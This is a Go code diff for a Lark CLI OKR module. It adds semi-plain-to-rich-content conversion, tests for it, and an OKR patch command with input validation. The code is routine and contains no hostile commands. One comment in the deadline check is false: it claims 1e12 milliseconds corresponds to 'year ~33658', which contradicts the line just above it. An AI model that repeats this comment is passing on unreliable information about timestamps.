+// Text and mentions are placed in a single paragraph (text first, then mentions).
+// Docs and images are NOT converted (input semi-plain format only supports text+mention).
+func (s *SemiPlainContent) ToContentBlock() *ContentBlock {
+	if s == nil {
+		return nil
+	}
+	elements := make([]ContentParagraphElement, 0, len(s.Mention)+1)
+
+	// Strip @{userID} placeholders from text to avoid duplicate mentions
+	// (these placeholders are only for readability in the output format)
+	strippedText := placeholderRE.ReplaceAllString(s.Text, " ")
+	// Collapse multiple spaces and trim
+	strippedText = multiSpaceRE.ReplaceAllString(strippedText, " ")
+	strippedText = strings.TrimSpace(strippedText)
+
+	// Add text element if stripped text is not empty
+	if strippedText != "" {
+		text := strippedText
+		elements = append(elements, ContentParagraphElement{
+			ParagraphElementType: ParagraphElementTypeTextRun.Ptr(),
+			TextRun: &ContentTextRun{
+				Text: &text,
+			},
+		})
+	}
+
+	// Add mention elements
+	for _, mention := range s.Mention {
+		m := mention
+		elements = append(elements, ContentParagraphElement{
+			ParagraphElementType: ParagraphElementTypeMention.Ptr(),
+			Mention: &ContentMention{
+				UserID: &m,
+			},
+		})
+	}
+
+	return &ContentBlock{
+		Blocks: []ContentBlockElement{
+			{
+				BlockElementType: BlockElementTypeParagraph.Ptr(),
+				Paragraph: &ContentParagraph{
+					Elements: elements,
+				},
+			},
+		},
+	}
+}
+
+// BuildContentBlock converts text and mentions to a ContentBlock.
+// This is a convenience wrapper around SemiPlainContent.ToContentBlock().
+func BuildContentBlock(text string, mentions []string) *ContentBlock {
+	return (&SemiPlainContent{
+		Text:    text,
+		Mention: mentions,
+	}).ToContentBlock()
+}
+
 // ProgressRateV1 进度率
 type ProgressRateV1 struct {
 	Percent *float64 `json:"percent,omitempty"`

shortcuts/okr/okr_openapi_test.go

@@ -57,7 +57,9 @@ func TestToRespMethods(t *testing.T) {
 			convey.So(resp, convey.ShouldNotBeNil)
 			convey.So(resp.ID, convey.ShouldEqual, "cycle-id")
 			convey.So(*resp.CycleStatus, convey.ShouldEqual, "normal")
-			convey.So(*resp.Score, convey.ShouldEqual, 0.75)
+			// Verify removed fields are not present in RespCycle
+			convey.So(resp.StartTime, convey.ShouldNotBeEmpty)
+			convey.So(resp.EndTime, convey.ShouldNotBeEmpty)
 		})
 
 		convey.Convey("Objective", func() {
@@ -518,5 +520,449 @@ func float64Ptr(v float64) *float64 { return &v }
 // boolPtr returns a pointer to the given bool value.
 func boolPtr(v bool) *bool { return &v }
 
+// ========== SemiPlainContent Conversion Tests ==========
+
+func TestContentBlockToSemiPlain_TextOnly(t *testing.T) {
+	t.Parallel()
+	cb := &ContentBlock{
+		Blocks: []ContentBlockElement{
+			{
+				BlockElementType: BlockElementTypeParagraph.Ptr(),
+				Paragraph: &ContentParagraph{
+					Elements: []ContentParagraphElement{
+						{
+							ParagraphElementType: ParagraphElementTypeTextRun.Ptr(),
+							TextRun: &ContentTextRun{
+								Text: strPtr("Hello world"),
+							},
+						},
+					},
+				},
+			},
+		},
+	}
+	sp := cb.ToSemiPlain()
+	if sp == nil {
+		t.Fatal("expected non-nil SemiPlainContent")
+	}
+	if sp.Text != "Hello world" {
+		t.Fatalf("expected text 'Hello world', got '%s'", sp.Text)
+	}
+	if len(sp.Mention) != 0 {
+		t.Fatalf("expected 0 mentions, got %d", len(sp.Mention))
+	}
+	if len(sp.Docs) != 0 {
+		t.Fatalf("expected 0 docs, got %d", len(sp.Docs))
+	}
+	if len(sp.Images) != 0 {
+		t.Fatalf("expected 0 images, got %d", len(sp.Images))
+	}
+}
+
+func TestContentBlockToSemiPlain_WithMention(t *testing.T) {
+	t.Parallel()
+	cb := &ContentBlock{
+		Blocks: []ContentBlockElement{
+			{
+				BlockElementType: BlockElementTypeParagraph.Ptr(),
+				Paragraph: &ContentParagraph{
+					Elements: []ContentParagraphElement{
+						{
+							ParagraphElementType: ParagraphElementTypeTextRun.Ptr(),
+							TextRun: &ContentTextRun{
+								Text: strPtr("Hello "),
+							},
+						},
+						{
+							ParagraphElementType: ParagraphElementTypeMention.Ptr(),
+							Mention: &ContentMention{
+								UserID: strPtr("ou_123"),
+							},
+						},
+						{
+							ParagraphElementType: ParagraphElementTypeTextRun.Ptr(),
+							TextRun: &ContentTextRun{
+								Text: strPtr(", how are you?"),
+							},
+						},
+					},
+				},
+			},
+		},
+	}
+	sp := cb.ToSemiPlain()
+	if sp == nil {
+		t.Fatal("expected non-nil SemiPlainContent")
+	}
+	// Text includes @{userID} placeholder to preserve positional context
+	if sp.Text != "Hello  @{ou_123} , how are you?" {
+		t.Fatalf("expected text 'Hello  @{ou_123} , how are you?', got '%s'", sp.Text)
+	}
+	if len(sp.Mention) != 1 || sp.Mention[0] != "ou_123" {
+		t.Fatalf("expected mention [ou_123], got %v", sp.Mention)
+	}
+}
+
+func TestContentBlockToSemiPlain_WithDocsAndImages(t *testing.T) {
+	t.Parallel()
+	cb := &ContentBlock{
+		Blocks: []ContentBlockElement{
+			{
+				BlockElementType: BlockElementTypeParagraph.Ptr(),
+				Paragraph: &ContentParagraph{
+					Elements: []ContentParagraphElement{
+						{
+							ParagraphElementType: ParagraphElementTypeTextRun.Ptr(),
+							TextRun: &ContentTextRun{
+								Text: strPtr("Check out this doc: "),
+							},
+						},
+						{
+							ParagraphElementType: ParagraphElementTypeDocsLink.Ptr(),
+							DocsLink: &ContentDocsLink{
+								Title: strPtr("Design Doc"),
+								URL:   strPtr("https://example.feishu.cn/docx/xxx"),
+							},
+						},
+					},
+				},
+			},
+			{
+				BlockElementType: BlockElementTypeGallery.Ptr(),
+				Gallery: &ContentGallery{
+					Images: []ContentImageItem{
+						{
+							Src: strPtr("https://example.com/img1.png"),
+						},
+						{
+							Src: strPtr("https://example.com/img2.png"),
+						},
+					},
+				},
+			},
+		},
+	}
+	sp := cb.ToSemiPlain()
+	if sp == nil {
+		t.Fatal("expected non-nil SemiPlainContent")
+	}
+	if sp.Text != "Check out this doc: " {
+		t.Fatalf("unexpected text: '%s'", sp.Text)
+	}
+	if len(sp.Docs) != 1 {
+		t.Fatalf("expected 1 doc, got %d", len(sp.Docs))
+	}
+	if sp.Docs[0].Title != "Design Doc" || sp.Docs[0].URL != "https://example.feishu.cn/docx/xxx" {
+		t.Fatalf("unexpected doc: %+v", sp.Docs[0])
+	}
+	if len(sp.Images) != 2 {
+		t.Fatalf("expected 2 images, got %d", len(sp.Images))
+	}
+	if sp.Images[0] != "https://example.com/img1.png" || sp.Images[1] != "https://example.com/img2.png" {
+		t.Fatalf("unexpected images: %v", sp.Images)
+	}
+}
+
+func TestContentBlockToSemiPlain_Nil(t *testing.T) {
+	t.Parallel()
+	var cb *ContentBlock
+	sp := cb.ToSemiPlain()
+	if sp != nil {
+		t.Fatal("expected nil SemiPlainContent for nil ContentBlock")
+	}
+}
+
+func TestSemiPlainContentToContentBlock_TextOnly(t *testing.T) {
+	t.Parallel()
+	sp := &SemiPlainContent{
+		Text: "Hello world",
+	}
+	cb := sp.ToContentBlock()
+	if cb == nil {
+		t.Fatal("expected non-nil ContentBlock")
+	}
+	if len(cb.Blocks) != 1 {
+		t.Fatalf("expected 1 block, got %d", len(cb.Blocks))
+	}
+	block := cb.Blocks[0]
+	if block.BlockElementType == nil || *block.BlockElementType != BlockElementTypeParagraph {
+		t.Fatal("expected paragraph block")
+	}
+	if block.Paragraph == nil || len(block.Paragraph.Elements) != 1 {
+		t.Fatalf("expected 1 paragraph element, got %d", len(block.Paragraph.Elements))
+	}
+	elem := block.Paragraph.Elements[0]
+	if elem.ParagraphElementType == nil || *elem.ParagraphElementType != ParagraphElementTypeTextRun {
+		t.Fatal("expected textRun element")
+	}
+	if elem.TextRun == nil || elem.TextRun.Text == nil || *elem.TextRun.Text != "Hello world" {
+		t.Fatalf("unexpected text: %v", elem.TextRun)
+	}
+}
+
+func TestSemiPlainContentToContentBlock_WithMentions(t *testing.T) {
+	t.Parallel()
+	sp := &SemiPlainContent{
+		Text:    "Please review",
+		Mention: []string{"ou_123", "ou_456"},
+	}
+	cb := sp.ToContentBlock()
+	if cb == nil {
+		t.Fatal("expected non-nil ContentBlock")
+	}
+	if len(cb.Blocks) != 1 {
+		t.Fatalf("expected 1 block, got %d", len(cb.Blocks))
+	}
+	elems := cb.Blocks[0].Paragraph.Elements
+	if len(elems) != 3 {
+		t.Fatalf("expected 3 elements (1 text + 2 mentions), got %d", len(elems))
+	}
+	if *elems[0].ParagraphElementType != ParagraphElementTypeTextRun || *elems[0].TextRun.Text != "Please review" {
+		t.Fatal("unexpected first element")
+	}
+	if *elems[1].ParagraphElementType != ParagraphElementTypeMention || *elems[1].Mention.UserID != "ou_123" {
+		t.Fatal("unexpected second element")
+	}
+	if *elems[2].ParagraphElementType != ParagraphElementTypeMention || *elems[2].Mention.UserID != "ou_456" {
+		t.Fatal("unexpected third element")
+	}
+}
+
+func TestSemiPlainContentToContentBlock_EmptyText(t *testing.T) {
+	t.Parallel()
+	sp := &SemiPlainContent{
+		Text:    "   ",
+		Mention: []string{"ou_123"},
+	}
+	cb := sp.ToContentBlock()
+	if cb == nil {
+		t.Fatal("expected non-nil ContentBlock")
+	}
+	elems := cb.Blocks[0].Paragraph.Elements
+	// Empty text should be skipped, only mention remains
+	if len(elems) != 1 {
+		t.Fatalf("expected 1 element (mention only), got %d", len(elems))
+	}
+	if *elems[0].ParagraphElementType != ParagraphElementTypeMention {
+		t.Fatal("expected mention element")
+	}
+}
+
+func TestSemiPlainContentToContentBlock_DocsImagesIgnored(t *testing.T) {
+	t.Parallel()
+	sp := &SemiPlainContent{
+		Text:    "Test",
+		Mention: []string{"ou_123"},
+		Docs:    []SemiPlainDoc{{Title: "Doc", URL: "https://..."}},
+		Images:  []string{"https://img.png"},
+	}
+	cb := sp.ToContentBlock()
+	if cb == nil {
+		t.Fatal("expected non-nil ContentBlock")
+	}
+	elems := cb.Blocks[0].Paragraph.Elements
+	// Docs and images are ignored in input conversion
+	if len(elems) != 2 {
+		t.Fatalf("expected 2 elements (text + mention), got %d", len(elems))
+	}
+}
+
+func TestSemiPlainContentToContentBlock_PlaceholderStripping(t *testing.T) {
+	t.Parallel()
+	// Simulate round-trip: output format has @{userID} in text,
+	// input conversion should strip them to avoid duplicate mentions
+	sp := &SemiPlainContent{
+		Text:    "任务一 @{ou_zhangsan} ，任务二 @{ou_lisi} ",
+		Mention: []string{"ou_zhangsan", "ou_lisi"},
+	}
+	cb := sp.ToContentBlock()
+	if cb == nil {
+		t.Fatal("expected non-nil ContentBlock")
+	}
+	elems := cb.Blocks[0].Paragraph.Elements
+	// Should have 3 elements: 1 text (stripped) + 2 mentions
+	if len(elems) != 3 {
+		t.Fatalf("expected 3 elements (1 text + 2 mentions), got %d", len(elems))
+	}
+	// Text should have placeholders stripped
+	if *elems[0].ParagraphElementType != ParagraphElementTypeTextRun {
+		t.Fatal("expected first element to be textRun")
+	}
+	// Note: space before comma is preserved from the placeholder's trailing space
+	expectedText := "任务一 ，任务二"
+	if *elems[0].TextRun.Text != expectedText {
+		t.Fatalf("expected stripped text '%s', got '%s'", expectedText, *elems[0].TextRun.Text)
+	}
+	// Mentions should be preserved as separate elements
+	if *elems[1].ParagraphElementType != ParagraphElementTypeMention || *elems[1].Mention.UserID != "ou_zhangsan" {
+		t.Fatal("unexpected second element")
+	}
+	if *elems[2].ParagraphElementType != ParagraphElementTypeMention || *elems[2].Mention.UserID != "ou_lisi" {
+		t.Fatal("unexpected third element")
+	}
+}
+
+func TestSemiPlainContentToContentBlock_OnlyPlaceholders(t *testing.T) {
+	t.Parallel()
+	// Text that is only placeholders should result in no text element
+	sp := &SemiPlainContent{
+		Text:    " @{ou_123}  @{ou_456} ",
+		Mention: []string{"ou_123", "ou_456"},
+	}
+	cb := sp.ToContentBlock()
+	if cb == nil {
+		t.Fatal("expected non-nil ContentBlock")
+	}
+	elems := cb.Blocks[0].Paragraph.Elements
+	// Should have only 2 mention elements, no text element
+	if len(elems) != 2 {
+		t.Fatalf("expected 2 elements (mentions only), got %d", len(elems))
+	}
+	if *elems[0].ParagraphElementType != ParagraphElementTypeMention {
+		t.Fatal("expected first element to be mention")
+	}
+	if *elems[1].ParagraphElementType != ParagraphElementTypeMention {
+		t.Fatal("expected second element to be mention")
+	}
+}
+
+func TestSemiPlainContentToContentBlock_Nil(t *testing.T) {
+	t.Parallel()
+	var sp *SemiPlainContent
+	cb := sp.ToContentBlock()
+	if cb != nil {
+		t.Fatal("expected nil ContentBlock for nil SemiPlainContent")
+	}
+}
+
+func TestBuildContentBlock_Conversion(t *testing.T) {
+	t.Parallel()
+	cb := BuildContentBlock("Test text", []string{"ou_123", "ou_456"})
+	if cb == nil {
+		t.Fatal("expected non-nil ContentBlock")
+	}
+	elems := cb.Blocks[0].Paragraph.Elements
+	if len(elems) != 3 {
+		t.Fatalf("expected 3 elements, got %d", len(elems))
+	}
+	if *elems[0].TextRun.Text != "Test text" {
+		t.Fatalf("unexpected text: %s", *elems[0].TextRun.Text)
+	}
+	if *elems[1].Mention.UserID != "ou_123" {
+		t.Fatalf("unexpected mention: %s", *elems[1].Mention.UserID)
+	}
+	if *elems[2].Mention.UserID != "ou_456" {
+		t.Fatalf("unexpected mention: %s", *elems[2].Mention.UserID)
+	}
+}
+
+func TestToSimpleMethods(t *testing.T) {
+	t.Parallel()
+
+	// Test Objective.ToSimple()
+	text := "Objective text"
+	obj := &Objective{
+		ID:       "obj-1",
+		Content:  BuildContentBlock(text, []string{"ou_123"}),
+		Notes:    BuildContentBlock("Note text", nil),
+		Owner:    Owner{OwnerType: OwnerTypeUser, UserID: strPtr("ou_owner")},
+		CycleID:  "cycle-1",
+		Score:    float64Ptr(0.7),
+		Weight:   float64Ptr(0.5),
+		Deadline: strPtr("1735776000000"),
+	}
+	simpleObj := obj.ToSimple()
+	if simpleObj == nil {
+		t.Fatal("expected non-nil RespObjectiveSimple")
+	}
+	if simpleObj.ID != "obj-1" {
+		t.Fatalf("expected ID obj-1, got %s", simpleObj.ID)
+	}
+	// Text includes @{userID} placeholder for positional context
+	expectedContentText := "Objective text @{ou_123} "
+	if simpleObj.Content == nil || simpleObj.Content.Text != expectedContentText {
+		t.Fatalf("unexpected content text: expected '%s', got '%s'", expectedContentText, simpleObj.Content.Text)
+	}
+	if simpleObj.Notes == nil || simpleObj.Notes.Text != "Note text" {
+		t.Fatalf("unexpected notes: %+v", simpleObj.Notes)
+	}
+	if simpleObj.Score == nil || *simpleObj.Score != 0.7 {
+		t.Fatalf("unexpected score: %v", simpleObj.Score)
+	}
+	if len(simpleObj.Content.Mention) != 1 || simpleObj.Content.Mention[0] != "ou_123" {
+		t.Fatalf("unexpected mentions: %v", simpleObj.Content.Mention)
+	}
+
+	// Test KeyResult.ToSimple()
+	kr := &KeyResult{
+		ID:          "kr-1",
+		ObjectiveID: "obj-1",
+		Content:     BuildContentBlock("KR text", nil),
+		Owner:       Owner{OwnerType: OwnerTypeUser, UserID: strPtr("ou_kr_owner")},
+		Score:       float64Ptr(0.5),
+	}
+	simpleKR := kr.ToSimple()
+	if simpleKR == nil {
+		t.Fatal("expected non-nil RespKeyResultSimple")
+	}
+	if simpleKR.Content == nil || simpleKR.Content.Text != "KR text" {
+		t.Fatalf("unexpected KR content: %+v", simpleKR.Content)
+	}
+
+	// Test ProgressV1.ToSimple()
+	progress := &ProgressV1{
+		ID:         "prog-1",
+		ModifyTime: "1735776000000",
+		Content:    BuildContentBlock("Progress text", []string{"ou_mention"}).ToV1(),
+	}
+	simpleProgress := progress.ToSimple()
+	if simpleProgress == nil {
+		t.Fatal("expected non-nil RespProgressSimple")
+	}
+	// Text includes @{userID} placeholder for positional context
+	expectedProgressText := "Progress text @{ou_mention} "
+	if simpleProgress.Content == nil || simpleProgress.Content.Text != expectedProgressText {
+		t.Fatalf("unexpected progress text: expected '%s', got '%s'", expectedProgressText, simpleProgress.Content.Text)
+	}
+	if len(simpleProgress.Content.Mention) != 1 || simpleProgress.Content.Mention[0] != "ou_mention" {
+		t.Fatalf("unexpected progress mentions: %v", simpleProgress.Content.Mention)
+	}
+
+	// Test Progress.ToSimple() (V2 progress record)
+	progressV2 := &Progress{
+		ID:         "prog-v2-1",
+		CreateTime: "1735689600000",
+		UpdateTime: "1735776000000",
+		Content:    BuildContentBlock("V2 progress text", []string{"ou_v2_mention"}),
+		ProgressRate: &ProgressRate{
+			ProgressPercent: float64Ptr(80.0),
+			ProgressStatus:  int32Ptr(int32(ProgressStatusDone)),
+		},
+	}
+	simpleProgressV2 := progressV2.ToSimple()
+	if simpleProgressV2 == nil {
+		t.Fatal("expected non-nil RespProgressSimple for Progress V2")
+	}
+	if simpleProgressV2.ID != "prog-v2-1" {
+		t.Fatalf("expected ID prog-v2-1, got %s", simpleProgressV2.ID)
+	}
+	if simpleProgressV2.CreateTime == nil || *simpleProgressV2.CreateTime == "" {
+		t.Fatal("expected non-empty CreateTime for Progress V2")
+	}
+	expectedV2Text := "V2 progress text @{ou_v2_mention} "
+	if simpleProgressV2.Content == nil || simpleProgressV2.Content.Text != expectedV2Text {
+		t.Fatalf("unexpected V2 progress text: expected '%s', got '%s'", expectedV2Text, simpleProgressV2.Content.Text)
+	}
+	if simpleProgressV2.ProgressRate == nil || simpleProgressV2.ProgressRate.Status == nil || *simpleProgressV2.ProgressRate.Status != "done" {
+		t.Fatalf("expected progress status 'done', got %+v", simpleProgressV2.ProgressRate)
+	}
+	if simpleProgressV2.ProgressRate.Percent == nil || *simpleProgressV2.ProgressRate.Percent != 80.0 {
+		t.Fatalf("expected progress percent 80.0, got %v", simpleProgressV2.ProgressRate.Percent)
+	}
+	if len(simpleProgressV2.Content.Mention) != 1 || simpleProgressV2.Content.Mention[0] != "ou_v2_mention" {
+		t.Fatalf("unexpected V2 progress mentions: %v", simpleProgressV2.Content.Mention)
+	}
+}
+
 // listTypePtr returns a pointer to the given ListType value.
 func listTypePtr(v ListType) *ListType { return &v }

shortcuts/okr/okr_patch.go

@@ -0,0 +1,311 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package okr
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"math"
+	"strconv"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+// patchParams holds the parsed parameters for the patch operation.
+type patchParams struct {
+	Level      string
+	TargetID   string
+	Style      string
+	Content    *ContentBlock
+	Notes      *ContentBlock
+	Score      *float64
+	Deadline   *string
+	UserIDType string
+}
+
+// parsePatchParams parses and validates flags from runtime into request-ready parameters.
+func parsePatchParams(runtime *common.RuntimeContext) (*patchParams, error) {
+	p := &patchParams{
+		Level:      runtime.Str("level"),
+		TargetID:   runtime.Str("target-id"),
+		Style:      runtime.Str("style"),
+		UserIDType: runtime.Str("user-id-type"),
+	}
+
+	hasField := false
+
+	// Parse content if provided
+	if contentStr := runtime.Str("content"); contentStr != "" {
+		hasField = true
+		if err := common.RejectDangerousCharsTyped("--content", contentStr); err != nil {
+			return nil, err
+		}
+		if p.Style == "simple" {
+			var sp SemiPlainContent
+			if err := json.Unmarshal([]byte(contentStr), &sp); err != nil {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid semi-plain JSON: {\"text\":\"...\",\"mention\":[\"...\"]}: %s", err).WithParam("--content").WithCause(err)
+			}
+			if strings.TrimSpace(sp.Text) == "" {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content text is required and cannot be empty").WithParam("--content")
+			}
+			for i, m := range sp.Mention {
+				if strings.TrimSpace(m) == "" {
+					return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content mention[%d] cannot be empty", i).WithParam("--content")
+				}
+			}
+			if len(sp.Docs) > 0 || len(sp.Images) > 0 {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content docs and images are not supported in simple style input; use richtext style or remove these fields").WithParam("--content")
+			}
+			p.Content = sp.ToContentBlock()
+		} else {
+			var cb ContentBlock
+			if err := json.Unmarshal([]byte(contentStr), &cb); err != nil {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+			}
+			p.Content = &cb
+		}
+	}
+
+	// Parse notes if provided (only for objective)
+	if notesStr := runtime.Str("notes"); notesStr != "" {
+		hasField = true
+		if err := common.RejectDangerousCharsTyped("--notes", notesStr); err != nil {
+			return nil, err
+		}
+		if p.Level != "objective" {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--notes is only supported for level=objective").WithParam("--notes")
+		}
+		if p.Style == "simple" {
+			var sp SemiPlainContent
+			if err := json.Unmarshal([]byte(notesStr), &sp); err != nil {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--notes must be valid semi-plain JSON: {\"text\":\"...\",\"mention\":[\"...\"]}: %s", err).WithParam("--notes").WithCause(err)
+			}
+			if strings.TrimSpace(sp.Text) == "" {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--notes text is required and cannot be empty").WithParam("--notes")
+			}
+			for i, m := range sp.Mention {
+				if strings.TrimSpace(m) == "" {
+					return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--notes mention[%d] cannot be empty", i).WithParam("--notes")
+				}
+			}
+			if len(sp.Docs) > 0 || len(sp.Images) > 0 {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--notes docs and images are not supported in simple style input; use richtext style or remove these fields").WithParam("--notes")
+			}
+			p.Notes = sp.ToContentBlock()
+		} else {
+			var cb ContentBlock
+			if err := json.Unmarshal([]byte(notesStr), &cb); err != nil {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--notes must be valid ContentBlock JSON: %s", err).WithParam("--notes").WithCause(err)
+			}
+			p.Notes = &cb
+		}
+	}
+
+	// Parse score if provided
+	if scoreStr := runtime.Str("score"); scoreStr != "" {
+		hasField = true
+		score, err := strconv.ParseFloat(scoreStr, 64)
+		if err != nil || math.IsNaN(score) || math.IsInf(score, 0) {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--score must be a valid number").WithParam("--score")
+		}
+		if score < 0 || score > 1 {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--score must be between 0 and 1").WithParam("--score")
+		}
+		// Check for exactly one decimal place
+		scoreStrTrimmed := strings.TrimRight(strings.TrimRight(scoreStr, "0"), ".")
+		parts := strings.Split(scoreStrTrimmed, ".")
+		if len(parts) == 2 && len(parts[1]) > 1 {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--score must have at most one decimal place (e.g., 0.5, not 0.51)").WithParam("--score")
+		}
+		// Validation ensures at most one decimal place, so score is already correctly formatted
+		p.Score = &score
+	}
+
+	// Parse deadline if provided
+	if deadlineStr := runtime.Str("deadline"); deadlineStr != "" {
+		hasField = true
+		deadlineMs, err := strconv.ParseInt(deadlineStr, 10, 64)
+		if err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--deadline must be a valid millisecond timestamp (integer)").WithParam("--deadline")
+		}
+		if deadlineMs <= 0 {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--deadline must be a positive millisecond timestamp").WithParam("--deadline")
+		}
+		// Reject non-millisecond timestamps: year 2000 in ms is ~946e9, year 2100 in ms is ~4.1e12
+		// Anything less than 1e12 is likely seconds or a wrong unit
+		if deadlineMs < 1000000000000 { // 1e12 ms = year ~33658, so use 1e12 as lower bound for reasonable ms timestamps
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--deadline must be a millisecond timestamp (13 digits), not seconds").WithParam("--deadline")
+		}
+		p.Deadline = &deadlineStr
+	}
+
+	// At least one field must be provided
+	if !hasField {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "at least one of --content, --notes, --score, or --deadline must be provided")
+	}
+
+	return p, nil
+}
+
+// OKRPatch patches an objective or key result.
+var OKRPatch = common.Shortcut{
+	Service:     "okr",
+	Command:     "+patch",
+	Description: "Patch an OKR objective or key result (content, notes, score, deadline)",
+	Risk:        "write",
+	Scopes:      []string{"okr:okr.content:writeonly"},
+	AuthTypes:   []string{"user", "bot"},
+	HasFormat:   true,
+	Flags: []common.Flag{
+		{Name: "level", Desc: "patch level: objective | key-result", Required: true, Enum: []string{"objective", "key-result"}},
+		{Name: "target-id", Desc: "target ID (objective or key result ID)", Required: true},
+		{Name: "style", Default: "simple", Desc: "input style for content/notes: simple (semi-plain text JSON) | richtext (ContentBlock JSON)", Enum: []string{"simple", "richtext"}},
+		{Name: "content", Desc: "content: semi-plain JSON {\"text\":\"...\",\"mention\":[\"...\"]} (simple) or ContentBlock JSON (richtext)", Input: []string{common.File, common.Stdin}},
+		{Name: "notes", Desc: "notes (objective only): semi-plain JSON {\"text\":\"...\",\"mention\":[\"...\"]} (simple) or ContentBlock JSON (richtext)", Input: []string{common.File, common.Stdin}},
+		{Name: "score", Desc: "score value between 0 and 1, with at most one decimal place (e.g., 0.5)"},
+		{Name: "deadline", Desc: "deadline as millisecond timestamp"},
+		{Name: "user-id-type", Default: "open_id", Desc: "user ID type: open_id | union_id | user_id"},
+	},
+	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		level := runtime.Str("level")
+		if level != "objective" && level != "key-result" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--level must be one of: objective | key-result").WithParam("--level")
+		}
+
+		targetID := runtime.Str("target-id")
+		if targetID == "" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--target-id is required").WithParam("--target-id")
+		}
+		if err := common.RejectDangerousCharsTyped("--target-id", targetID); err != nil {
+			return err
+		}
+		if id, err := strconv.ParseInt(targetID, 10, 64); err != nil || id <= 0 {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--target-id must be a positive int64").WithParam("--target-id")
+		}
+
+		style := runtime.Str("style")
+		if style != "simple" && style != "richtext" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--style must be one of: simple | richtext").WithParam("--style")
+		}
+
+		idType := runtime.Str("user-id-type")
+		if idType != "open_id" && idType != "union_id" && idType != "user_id" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--user-id-type must be one of: open_id | union_id | user_id").WithParam("--user-id-type")
+		}
+
+		// Delegate content/notes/score/deadline validation to parsePatchParams
+		if _, err := parsePatchParams(runtime); err != nil {
+			return err
+		}
+
+		return nil
+	},
+	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
+		p, err := parsePatchParams(runtime)
+		if err != nil {
+			return common.NewDryRunAPI().
+				PATCH("").
+				Desc(fmt.Sprintf("Dry-run skipped: %s", err.Error()))
+		}
+
+		body := make(map[string]interface{})
+		if p.Content != nil {
+			body["content"] = p.Content
+		}
+		if p.Notes != nil {
+			body["notes"] = p.Notes
+		}
+		if p.Score != nil {
+			body["score"] = *p.Score
+		}
+		if p.Deadline != nil {
+			body["deadline"] = *p.Deadline
+		}
+
+		params := map[string]interface{}{
+			"user_id_type": p.UserIDType,
+		}
+
+		api := common.NewDryRunAPI()
+		if p.Level == "objective" {
+			api = api.PATCH("/open-apis/okr/v2/objectives/:objective_id").
+				Set("objective_id", p.TargetID)
+		} else {
+			api = api.PATCH("/open-apis/okr/v2/key_results/:key_result_id").
+				Set("key_result_id", p.TargetID)
+		}
+		return api.Params(params).Body(body).
+			Desc(fmt.Sprintf("Patch OKR %s: content=%v, notes=%v, score=%v, deadline=%v",
+				p.Level, p.Content != nil, p.Notes != nil, p.Score != nil, p.Deadline != nil))
+	},
+	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		p, err := parsePatchParams(runtime)
+		if err != nil {
+			return err
+		}
+
+		body := make(map[string]interface{})
+		if p.Content != nil {
+			body["content"] = p.Content
+		}
+		if p.Notes != nil {
+			body["notes"] = p.Notes
+		}
+		if p.Score != nil {
+			body["score"] = *p.Score
+		}
+		if p.Deadline != nil {
+			body["deadline"] = *p.Deadline
+		}
+
+		queryParams := map[string]interface{}{
+			"user_id_type": p.UserIDType,
+		}
+
+		var path string
+		if p.Level == "objective" {
+			path = fmt.Sprintf("/open-apis/okr/v2/objectives/%s", p.TargetID)
+		} else {
+			path = fmt.Sprintf("/open-apis/okr/v2/key_results/%s", p.TargetID)
+		}
+
+		_, err = runtime.CallAPITyped("PATCH", path, queryParams, body)
+		if err != nil {
+			return wrapOkrNetworkErr(err, "failed to patch OKR %s", p.Level)
+		}
+
+		result := map[string]interface{}{
+			"level":     p.Level,
+			"target_id": p.TargetID,
+			"patched": map[string]bool{
+				"content":  p.Content != nil,
+				"notes":    p.Notes != nil,
+				"score":    p.Score != nil,
+				"deadline": p.Deadline != nil,
+			},
+		}
+
+		runtime.OutFormat(result, nil, func(w io.Writer) {
+			fmt.Fprintf(w, "Patched OKR %s [%s]\n", p.Level, p.TargetID)
+			if p.Content != nil {
+				fmt.Fprintf(w, "  - content: updated\n")
+			}
+			if p.Notes != nil {
+				fmt.Fprintf(w, "  - notes: updated\n")
+			}
+			if p.Score != nil {
+				fmt.Fprintf(w, "  - score: %.1f\n", *p.Score)
+			}
+			if p.Deadline != nil {
+				fmt.Fprintf(w, "  - deadline: %s\n", formatTimestamp(*p.Deadline))
+			}
+		})
+
+		return nil
+	},
+}

shortcuts/okr/okr_progress_create.go

@@ -10,6 +10,7 @@ import (
 	"io"
 	"math"
 	"strconv"
+	"strings"
 
 	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/core"
@@ -35,12 +36,37 @@ type createProgressRecordParams struct {
 
 // parseCreateProgressRecordParams parses and validates flags from runtime into request-ready parameters.
